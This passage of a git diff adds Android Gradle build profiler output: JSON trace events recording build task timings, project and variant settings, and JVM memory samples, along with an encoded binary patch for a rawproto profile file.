1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908250000,"dur":100},{"pid":1,"tid":0,"id":70,"name":"task: merge resources","args":{"span_id":"70","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 40\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908251000,"dur":173000},{"pid":1,"tid":0,"id":71,"name":"task: splits discovery","args":{"span_id":"71","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 87\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908425000,"dur":3000},{"pid":1,"tid":0,"id":72,"name":"task: process android resources","args":{"span_id":"72","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 51\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908428000,"dur":150000},{"pid":1,"tid":0,"id":73,"name":"task: unknown task type","args":{"span_id":"73","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908578000,"dur":100},{"pid":1,"tid":0,"id":74,"name":"task: mockable android jar","args":{"span_id":"74","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 42\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908579000,"dur":6000},{"pid":1,"tid":3,"id":75,"name":"base plugin build finished","args":{"span_id":"75","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227908586000,"dur":100}] \ No newline at end of file diff --git a/build/android-profile/profile-2017-12-25-11-51-48-588.rawproto b/build/android-profile/profile-2017-12-25-11-51-48-588.rawproto new file mode 100644 index 0000000000000000000000000000000000000000..90c078c2b779f53a70643973fda25454ab033461 GIT binary patch literal 4286 zcmchadu&rx7{GhmJ(f5kVpW3EM;*(QH)^J@-7?Qv%6uO#H9=e)s#` z@0{=6-R~4S%G_Q(`_VbIFD(oekl!A+r?gBjofWN(*3F4bFYvm{-JWN?e!a9V`a(2Z zAFXuiez*B|mB%|H7He*IJoyQF&Nkat_Y_hJvwd!l+Y5@Sl;r3E@>>s$K?+t>n`ZOa z%57D4gy-7P=!Hs5Q3$eQ+f`AeGhAC;H*ZdLsUCRT_R2KaHPn=BoH{9hdR{*}88;1m z6@c~g)JY`;&Jip_X$hYTLEEWCe%y9> ztpWQi33jIho7VbqGPd5T;L8j_%Oz65eoGbX6N1>8?S4G4WTOF{mIV7V1TBLbtO^bY zLGx>^e%!c}RM2Iqf=oeTjb%aKU;Iftx^pOs2R>aHgpcN{#_%8Ib3)MbUAzXjY+e0VC%9i4Y;}O z%@DL&608=2^K;LE=x6> z7KY}P-NX=UwQT4UhD1wji-Hp?x8sk{ur{3(G^1RNIk7?Qx~G;nAG5&!~@una}}T>@hW_+F?6 zQ^19sq#a!hIJG>n>n=2w#Cd|9#vQC1$e4sMnKZ4(E#$bhzqgIi@l+r+`-G*C3!CJrcCtW6x;M!*SCE^QMBB{HCGqQHg5k#_vRGO}npczga0c@J%1(-aegZDrq9aL15 z%J<9p(}B%mQhq?@_re;M&oN(MqQm2WbE+6z=o8oS5S;9fsG)12h4Y@B)tPg=n?3r;{nOf zW^e8)rNS491og0|DiZMp{gG(cV+3_?nQj;XBV4A3bx&29&u18V#OtfBt}d^s(T(zm MQ5E%)3kjoEHRjFF5EtR%DYGPqoA8q3Uu$ul_ zX%%BlQ*El$RspCNQ;jc)S93*QQN49FMOjh+SxlZ++p2Kyzxi>!TIid zb7s!myJvb^Qj?u(q#54X-r`xF5xtzr8Oe@m&NMZt*!!us zpu{^iT1`t1{9ovB=J|Y8e_AH}74wm4rm1))l6ps`Bs-FwAjwibp?#NfJS3Yzm3SMi0jr^ zTu|@(a?1ZASX|APP=Bau3ie%U9SRkOmav2imaf<_1=k*JGb$+WB4~JY$*ABfE;#$^ zZzO}p%R^y}p(WI;XM5n=a%v`StvNRg>PqFTr!Au!e&3`CT&QEu{Y?^XT77sJY%7&> zf(;T_L;f(h;X(~J)GR5NaDBy*a0VR4aFZKaYELeeuz!8aFgQ>uyMuEG_v7S-bDLQX z{;Q2!NDli}WJC3QBZhytp<&q}VrV~L(2xViYFR0&4*u~W?zr|#Hq?elL4w$j+mHjt zxuAX3qN%w4%&yRaaJ!HLHCtH*&6Vrs;r5ebRg`<*|9VWB-wC*fC#LgEI)Tgfb}(nOUnNn-z10A#hMQ~pLeME3i0DW~}QQ8Fn1YF~D+!8=P0fmS94UeN(769cajaEq@)D-#2+i9jn80|P{$m5BjG2NEq40|N=T&F9d{#6Y45 zv@&VHisDH**tT1=a*qwz}M&}iQWJ4%K!ts#;nrDq^IHX518#fMzW6jPaGN3XN{j~u6QiSVf+ zcfe|Ke1JXCSAkwm$YqXmB=QuXR|kQE$WuAj^IstHG@v&Jw!Xmp zHj$?Ty%;e66YF=P)m-OtPWTP)%Wpax@4gpf_MSg=^^61kTQIJ#`y;6SingBw4zq?ysxk(O3?b zTc}&031|##rbE~0b?xFF2m7`DlDiW`_jnFhOVlmU1oRf{qeC}_%-fFMW}TEU~$9;L!ry=Y`e3Iz!vaXL5ciO6BFHTmxr1vH5KBo zwWhd{f`x$8h_!_fDu^};p^%6?jMfL*NJ7>h5F-%~r4*r3&=Bw3J9pLp7O)rp#A@wxc{U)bk=CQzoA)FfU= z#9mHRc=R%#`G2K9urQfy`O5v|?wn_prAp0H7!~9OeSTknA{7B8hW7aqG3B@trCMU;L~g(p^BRrBJqsuDf)xbkW_J@VQ5zSOiy25#SYW(^{J z&BtcbL$&Jk;(X7rg^Sch@z^Vg>Lm%HP^GxQGn|DM#A=>jv?7ss$&4{W!vV|Cc=?yj zh;+2S5v9j#)yUut+oU1+?b#MY+P5@v!_2`Owr3mK>eo3nd>{>Nd#|w^T3Q?%c4QmU z2miaFYimO*BI$0&hMh78%dlm=)BA9PA$jzFFzl06q&BbGib&_74Nj}rpKVC>IyQVS z4V@R>-o~DXhUO?u*QySl$se)}$@;C%3{m>lLH=fiaJq4O8EJpBE=qsuCj~@D_4{f@ zX`>Xh|GcM+^lTbHFwnalrA<=M^~E_Rc&)zw33*F{Lv$+b>1_*@E7d*6+a^eM-J^M|Z2QtCwOa?*KtSCsx*tIiti4|SAw zX9UM~EGO;99Sg2VLEF9)%gNboA4ln#TGcegIgRIV&^n^8CYl21aa zOLNPp7w3{3+9~3SmM7zd7({bq)Qd40Lc679xE&wL;yogcv|%zn1`i`1dQryD4q*V9 z$&A6n8TeCf`x^iwAUFrWNCnbjo##zF8`26(ZDwZppYdD>8U*S&Z= zi(4iakGn-TZX*-uHMs+ClS_ai2zZ+;FcAXYCJWpS0dJE9R0w#REN}+|yiFFE1Oac8 z1@5!~(s-LJa2ErA%Q|?QEO0jjyiFFk2Lj$E3rvQ9x5)yU4UlM)1*S0YkKCNM$pXa? z@HTPa#S>UNu8I|I-VQ51mBlR+;_)1_8(ut(#jnHbb47dz$&+v8XbsD^&x=b~ypGRk z?4-0*#tU&C{YF^An)%T1??Vyx(be+Wk!G~QgB5lFVh1u!sY6A0x^)gx$7v=+s;YS%Bf?TKKgu?cd>oMd(D$XCQ7Rf2(rIL&FX8tQ6FQa1e2kXZ} z9?Ir7)o;)bMgAi)`)hE0n2M<$^;!P=X{)F&KU4o4=zoBU zArLemi$6%kj5iQ}h>8hpp!yz`Jh%V-E2tR2ZmQ3^zmG^R`eVL;S^3SUVtfMm&9k46 ziFg4O(~FRaJ!-FV>B4+^9?h*o6!&{ukmO1c?9u literal 0 HcmV?d00001 diff --git a/build/android-profile/profile-2017-12-25-11-53-59-674.json b/build/android-profile/profile-2017-12-25-11-53-59-674.json new file mode 100644 index 0000000..a9a3108 --- /dev/null +++ b/build/android-profile/profile-2017-12-25-11-53-59-674.json @@ -0,0 +1 @@ +[{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039044000,"args":{"JVM stats":"heap_memory_usage: 297516792\nnon_heap_memory_usage: 133787312\nloaded_class_count: 15091\nthread_count: 31\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039106000,"args":{"JVM stats":"heap_memory_usage: 327686112\nnon_heap_memory_usage: 134697928\nloaded_class_count: 15123\nthread_count: 39\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039126000,"args":{"JVM stats":"heap_memory_usage: 336443616\nnon_heap_memory_usage: 134809496\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039127000,"args":{"JVM stats":"heap_memory_usage: 337040120\nnon_heap_memory_usage: 134817536\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039129000,"args":{"JVM stats":"heap_memory_usage: 337238952\nnon_heap_memory_usage: 134836248\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039130000,"args":{"JVM stats":"heap_memory_usage: 337238952\nnon_heap_memory_usage: 134846296\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039130001,"args":{"JVM stats":"heap_memory_usage: 337238952\nnon_heap_memory_usage: 134846296\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039130000,"args":{"JVM stats":"heap_memory_usage: 337238952\nnon_heap_memory_usage: 134850184\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039131000,"args":{"JVM stats":"heap_memory_usage: 337238952\nnon_heap_memory_usage: 134850184\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039131001,"args":{"JVM stats":"heap_memory_usage: 337238952\nnon_heap_memory_usage: 134850184\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039141000,"args":{"JVM stats":"heap_memory_usage: 341814416\nnon_heap_memory_usage: 134880208\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039142000,"args":{"JVM stats":"heap_memory_usage: 341814416\nnon_heap_memory_usage: 134880208\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039144000,"args":{"JVM stats":"heap_memory_usage: 342212112\nnon_heap_memory_usage: 134889504\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039144001,"args":{"JVM stats":"heap_memory_usage: 342212112\nnon_heap_memory_usage: 134895256\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039147000,"args":{"JVM stats":"heap_memory_usage: 343605304\nnon_heap_memory_usage: 134914832\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039147001,"args":{"JVM stats":"heap_memory_usage: 343605304\nnon_heap_memory_usage: 134916624\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039157000,"args":{"JVM stats":"heap_memory_usage: 344998624\nnon_heap_memory_usage: 134956872\nloaded_class_count: 15124\nthread_count: 44\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039204000,"args":{"JVM stats":"heap_memory_usage: 112214648\nnon_heap_memory_usage: 135088304\nloaded_class_count: 15124\nthread_count: 45\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 1\n gc_time: 9\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039204001,"args":{"JVM stats":"heap_memory_usage: 114389072\nnon_heap_memory_usage: 135091568\nloaded_class_count: 15124\nthread_count: 45\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039205000,"args":{"JVM stats":"heap_memory_usage: 114389072\nnon_heap_memory_usage: 135096944\nloaded_class_count: 15124\nthread_count: 45\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039205001,"args":{"JVM stats":"heap_memory_usage: 114389072\nnon_heap_memory_usage: 135112816\nloaded_class_count: 15124\nthread_count: 45\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039206000,"args":{"JVM stats":"heap_memory_usage: 114488920\nnon_heap_memory_usage: 135115280\nloaded_class_count: 15124\nthread_count: 45\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039206001,"args":{"JVM stats":"heap_memory_usage: 114488920\nnon_heap_memory_usage: 135115280\nloaded_class_count: 15124\nthread_count: 45\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039208000,"args":{"JVM stats":"heap_memory_usage: 115726744\nnon_heap_memory_usage: 135118480\nloaded_class_count: 15124\nthread_count: 45\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039255000,"args":{"JVM stats":"heap_memory_usage: 122474864\nnon_heap_memory_usage: 135125928\nloaded_class_count: 15124\nthread_count: 49\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039259000,"args":{"JVM stats":"heap_memory_usage: 123459952\nnon_heap_memory_usage: 135108264\nloaded_class_count: 15124\nthread_count: 49\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039413000,"args":{"JVM stats":"heap_memory_usage: 310714992\nnon_heap_memory_usage: 135561712\nloaded_class_count: 15124\nthread_count: 49\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039414000,"args":{"JVM stats":"heap_memory_usage: 310968568\nnon_heap_memory_usage: 135566792\nloaded_class_count: 15124\nthread_count: 49\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039417000,"args":{"JVM stats":"heap_memory_usage: 312311920\nnon_heap_memory_usage: 135581184\nloaded_class_count: 15124\nthread_count: 49\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039418000,"args":{"JVM stats":"heap_memory_usage: 312311920\nnon_heap_memory_usage: 135581184\nloaded_class_count: 15124\nthread_count: 49\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039421000,"args":{"JVM stats":"heap_memory_usage: 313905280\nnon_heap_memory_usage: 135609472\nloaded_class_count: 15124\nthread_count: 49\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039422000,"args":{"JVM stats":"heap_memory_usage: 313905512\nnon_heap_memory_usage: 135613840\nloaded_class_count: 15124\nthread_count: 49\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039666000,"args":{"JVM stats":"heap_memory_usage: 185610160\nnon_heap_memory_usage: 135588168\nloaded_class_count: 15126\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 2\n gc_time: 15\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039667000,"args":{"JVM stats":"heap_memory_usage: 187110160\nnon_heap_memory_usage: 135588168\nloaded_class_count: 15126\nthread_count: 50\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":0,"ph":"i","name":"Memory sample","ts":1514228039675000,"args":{"JVM stats":"heap_memory_usage: 188487296\nnon_heap_memory_usage: 135637936\nloaded_class_count: 15126\nthread_count: 36\ngarbage_collection_stats {\n name: \"PS Scavenge\"\n gc_collections: 0\n gc_time: 0\n}\ngarbage_collection_stats {\n name: \"PS MarkSweep\"\n gc_collections: 0\n gc_time: 0\n}\n"}},{"pid":1,"tid":7,"id":2,"name":"base plugin project configure","args":{"span_id":"2","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039044000,"dur":2000},{"pid":1,"tid":7,"id":3,"name":"base plugin project base extension creation","args":{"span_id":"3","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039046000,"dur":2000},{"pid":1,"tid":7,"id":5,"name":"task manager create tasks","args":{"span_id":"5","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039048000,"dur":1000},{"pid":1,"tid":7,"id":4,"name":"base plugin project tasks creation","args":{"span_id":"4","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039048000,"dur":1000},{"pid":1,"tid":7,"id":8,"name":"variant manager create variants","args":{"span_id":"8","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039080000,"dur":2000},{"pid":1,"tid":7,"id":9,"name":"variant manager create tests tasks","args":{"span_id":"9","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039082000,"dur":1000},{"pid":1,"tid":7,"id":11,"name":"app task manager create merge manifest task","args":{"span_id":"11","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039083000,"dur":1000},{"pid":1,"tid":7,"id":12,"name":"app task manager create generate res values task","args":{"span_id":"12","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039084000,"dur":100},{"pid":1,"tid":7,"id":13,"name":"app task manager create create renderscript task","args":{"span_id":"13","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039084000,"dur":100},{"pid":1,"tid":7,"id":14,"name":"app task manager create merge resources task","args":{"span_id":"14","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039084000,"dur":100},{"pid":1,"tid":7,"id":15,"name":"app task manager create merge assets task","args":{"span_id":"15","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039084000,"dur":1000},{"pid":1,"tid":7,"id":16,"name":"app task manager create build config task","args":{"span_id":"16","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039085000,"dur":100},{"pid":1,"tid":7,"id":17,"name":"app task manager create process res task","args":{"span_id":"17","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039085000,"dur":1000},{"pid":1,"tid":7,"id":18,"name":"app task manager create aidl 